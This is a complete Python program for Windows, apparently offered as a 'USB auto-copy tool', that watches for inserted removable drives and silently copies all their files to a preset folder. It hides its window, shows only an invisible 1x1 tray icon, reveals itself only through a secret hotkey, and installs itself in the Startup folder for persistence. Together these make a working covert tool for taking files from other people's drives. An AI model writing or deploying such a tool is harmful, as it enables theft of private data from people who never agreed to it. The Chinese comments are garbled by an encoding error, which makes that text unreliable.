import os
import sys
import time
import json
import shutil
import ctypes
from ctypes import wintypes
import win32file
import win32api
import win32con
import win32gui
import win32com.client
import pythoncom
import win32event
import winerror
from datetime import datetime
from threading import Thread
from PyQt5.QtWidgets import (QApplication, QMainWindow, QWidget, QVBoxLayout, 
                           QPushButton, QFileDialog, QLabel, QSystemTrayIcon)
from PyQt5.QtCore import Qt, QTimer, QEvent
from PyQt5.QtGui import QIcon, QPixmap
 
class USBCopyTool(QMainWindow):
    def __init__(self):
        super().__init__()
        self.config_file = 'config.json'
        self.target_path = self.load_config()
        self.init_ui()
        self.setup_system_tray()
        self.setup_hotkey()
        
        # 添加窗口事件過(guò)濾器
        self.installEventFilter(self)
        
        # 啟動(dòng)USB監(jiān)控線程
        self.monitor_thread = Thread(target=self.monitor_usb, daemon=True)
        self.monitor_thread.start()
 
    def init_ui(self):
        self.setWindowTitle('USB自動(dòng)復(fù)制工具')
        self.setGeometry(300, 300, 400, 200)
        
        central_widget = QWidget()
        self.setCentralWidget(central_widget)
        layout = QVBoxLayout()
        
        self.path_label = QLabel(f'當(dāng)前目標(biāo)路徑: {self.target_path}')
        layout.addWidget(self.path_label)
        
        select_btn = QPushButton('選擇目標(biāo)文件夾')
        select_btn.clicked.connect(self.select_target_path)
        layout.addWidget(select_btn)
        
        central_widget.setLayout(layout)
        self.hide()
 
    def setup_system_tray(self):
        self.tray_icon = QSystemTrayIcon(self)
        # 創(chuàng)建一個(gè)1x1的空白圖標(biāo)而不是完全沒(méi)有圖標(biāo)
        blank_icon = QIcon()
        blank_icon.addPixmap(QPixmap(1, 1))
        self.tray_icon.setIcon(blank_icon)
        self.tray_icon.show()
 
    def setup_hotkey(self):
        # 注冊(cè)全局熱鍵 (Ctrl+Alt+U)
        self.hot_key_id = 1
        try:
            win32gui.RegisterHotKey(self.winId(), self.hot_key_id, 
                                  win32con.MOD_CONTROL | win32con.MOD_ALT, 
                                  ord('U'))
        except Exception as e:
            print(f"熱鍵注冊(cè)失敗: {e}")
 
    def nativeEvent(self, eventType, message):
        try:
            if eventType == "windows_generic_MSG":
                msg = wintypes.MSG.from_address(message.__int__())
                if msg.message == win32con.WM_HOTKEY:
                    if self.isVisible():
                        self.hide()
                    else:
                        self.show()
                    return True, 0
        except Exception as e:
            print(f"事件處理錯(cuò)誤: {e}")
        return False, 0
 
    def load_config(self):
        try:
            with open(self.config_file, 'r') as f:
                config = json.load(f)
                return config.get('target_path', '')
        except:
            return ''
 
    def save_config(self):
        with open(self.config_file, 'w') as f:
            json.dump({'target_path': self.target_path}, f)
 
    def select_target_path(self):
        path = QFileDialog.getExistingDirectory(self, '選擇目標(biāo)文件夾')
        if path:
            self.target_path = path
            self.path_label.setText(f'當(dāng)前目標(biāo)路徑: {self.target_path}')
            self.save_config()
 
    def monitor_usb(self):
        drives_before = set(win32api.GetLogicalDriveStrings().split('\000')[:-1])
        print(f"初始驅(qū)動(dòng)器: {drives_before}")
        
        while True:
            try:
                drives_now = set(win32api.GetLogicalDriveStrings().split('\000')[:-1])
                new_drives = drives_now - drives_before
                
                if new_drives:
                    print(f"檢測(cè)到新驅(qū)動(dòng)器: {new_drives}")
                    for drive in new_drives:
                        drive_type = win32file.GetDriveType(drive)
                        print(f"驅(qū)動(dòng)器 {drive} 類型: {drive_type}")
                        if drive_type == win32con.DRIVE_REMOVABLE:
                            print(f"開(kāi)始復(fù)制U盤(pán) {drive} 內(nèi)容")
                            self.copy_usb_contents(drive)
                
                drives_before = drives_now
                time.sleep(1)
            except Exception as e:
                print(f"監(jiān)控錯(cuò)誤: {e}")
                time.sleep(1)
 
    def copy_usb_contents(self, drive):
        if not self.target_path:
            print("未設(shè)置目標(biāo)路徑")
            return
            
        # 獲取U盤(pán)卷標(biāo)名稱
        try:
            volume_name = win32api.GetVolumeInformation(drive)[0]
            # 如果U盤(pán)沒(méi)有卷標(biāo)名稱，則使用盤(pán)符
            if not volume_name:
                volume_name = os.path.splitdrive(drive)[0].rstrip(':\\')
            # 替換非法字符
            volume_name = ''.join(c for c in volume_name if c not in r'\/:*?"<>|')
        except Exception as e:
            print(f"獲取卷標(biāo)名稱失敗: {e}")
            volume_name = os.path.splitdrive(drive)[0].rstrip(':\\')
            
        target_folder = os.path.join(self.target_path, volume_name)
        print(f"復(fù)制到目標(biāo)文件夾: {target_folder}")
        
        if not os.path.exists(target_folder):
            os.makedirs(target_folder)
            
        # 獲取所有文件并按修改時(shí)間排序
        all_files = []
        try:
            for root, dirs, files in os.walk(drive):
                print(f"掃描目錄: {root}")
                for file in files:
                    file_path = os.path.join(root, file)
                    try:
                        mtime = os.path.getmtime(file_path)
                        all_files.append((file_path, mtime))
                    except Exception as e:
                        print(f"無(wú)法獲取文件信息: {file_path}, 錯(cuò)誤: {e}")
                        continue
        except Exception as e:
            print(f"掃描目錄失敗: {e}")
                    
        all_files.sort(key=lambda x: x[1], reverse=True)
        print(f"找到 {len(all_files)} 個(gè)文件")
        
        # 復(fù)制文件
        for file_path, _ in all_files:
            try:
                rel_path = os.path.relpath(file_path, drive)
                target_path = os.path.join(target_folder, rel_path)
                target_dir = os.path.dirname(target_path)
                if not os.path.exists(target_dir):
                    os.makedirs(target_dir)
                print(f"復(fù)制文件: {file_path} -> {target_path}")
                shutil.copy2(file_path, target_path)
            except Exception as e:
                print(f"復(fù)制失敗: {file_path}, 錯(cuò)誤: {e}")
                continue
 
    def eventFilter(self, obj, event):
        if obj is self and event.type() == QEvent.WindowStateChange:
            if self.windowState() & Qt.WindowMinimized:
                # 延遲執(zhí)行隱藏操作，避免界面閃爍
                QTimer.singleShot(0, self.hide)
                # 恢復(fù)窗口狀態(tài)，這樣下次顯示時(shí)是正常狀態(tài)
                self.setWindowState(Qt.WindowNoState)
                return True
        return super().eventFilter(obj, event)
 
def add_to_startup():
    try:
        startup_path = os.path.join(os.getenv('APPDATA'), 
                                  r'Microsoft\Windows\Start Menu\Programs\Startup')
        script_path = os.path.abspath(sys.argv[0])
        shortcut_path = os.path.join(startup_path, 'USBCopyTool.lnk')
        
        shell = win32com.client.Dispatch("WScript.Shell")
        shortcut = shell.CreateShortCut(shortcut_path)
        shortcut.Targetpath = script_path
        shortcut.WorkingDirectory = os.path.dirname(script_path)
        shortcut.save()
    except Exception as e:
        print(f"添加到啟動(dòng)項(xiàng)失敗: {e}")
 
if __name__ == '__main__':
    # 確保只運(yùn)行一個(gè)實(shí)例
    mutex = win32event.CreateMutex(None, 1, 'USBCopyTool_Mutex')
    if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS:
        mutex = None
        sys.exit(0)
        
    add_to_startup()
    app = QApplication(sys.argv)
    tool = USBCopyTool()
    sys.exit(app.exec_())